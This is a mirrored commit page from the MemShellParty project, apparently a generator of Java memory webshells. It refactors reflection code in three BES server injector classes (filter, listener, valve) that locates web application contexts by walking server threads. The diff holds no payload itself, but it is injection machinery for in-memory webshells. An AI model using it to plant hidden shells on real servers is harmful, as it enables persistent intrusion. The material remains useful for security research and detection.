archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-21 22:50:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

refactor: simplify BES getContext code

Browse Source
This commit is contained in:
ReaJason
2026-08-30 21:19:42 +08:00
parent 493e540984
commit 4a990b7e0c
3 changed files with 63 additions and 135 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java
+21 -45
View File
@@ -85,10 +85,27 @@ public class BesFilterInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -102,47 +119,6 @@ public class BesFilterInjector {
}
}
}
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
if (contexts.isEmpty()) {
for (Thread thread : threads) {
try {
if (!thread.getName().contains("AppServer-utility")) {
continue;
}
Object target = getFieldValue(thread, "target");
Object realTarget = target;
try {
realTarget = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
for (Object task : workQueue) {
if (task == null) {
continue;
}
try {
Object callable = getFieldValue(task, "callable");
Object runnable;
try {
runnable = getFieldValue(callable, "task");
} catch (Throwable ignored) {
runnable = callable;
}
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Object engine = getFieldValue(runnable, "this$0");
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
}
return contexts;
}
generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java
+21 -45
View File
@@ -77,10 +77,27 @@ public class BesListenerInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -94,47 +111,6 @@ public class BesListenerInjector {
}
}
}
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
if (contexts.isEmpty()) {
for (Thread thread : threads) {
try {
if (!thread.getName().contains("AppServer-utility")) {
continue;
}
Object target = getFieldValue(thread, "target");
Object realTarget = target;
try {
realTarget = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
for (Object task : workQueue) {
if (task == null) {
continue;
}
try {
Object callable = getFieldValue(task, "callable");
Object runnable;
try {
runnable = getFieldValue(callable, "task");
} catch (Throwable ignored) {
runnable = callable;
}
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Object engine = getFieldValue(runnable, "this$0");
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
}
return contexts;
}
generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java
+21 -45
View File
@@ -76,10 +76,27 @@ public class BesValveInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -93,47 +110,6 @@ public class BesValveInjector {
}
}
}
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
if (contexts.isEmpty()) {
for (Thread thread : threads) {
try {
if (!thread.getName().contains("AppServer-utility")) {
continue;
}
Object target = getFieldValue(thread, "target");
Object realTarget = target;
try {
realTarget = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(realTarget, "this$0"), "workQueue");
for (Object task : workQueue) {
if (task == null) {
continue;
}
try {
Object callable = getFieldValue(task, "callable");
Object runnable;
try {
runnable = getFieldValue(callable, "task");
} catch (Throwable ignored) {
runnable = callable;
}
if (runnable == null || !runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Object engine = getFieldValue(runnable, "this$0");
for (Object host : ((Map<?, ?>) getFieldValue(engine, "children")).values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
}
return contexts;
}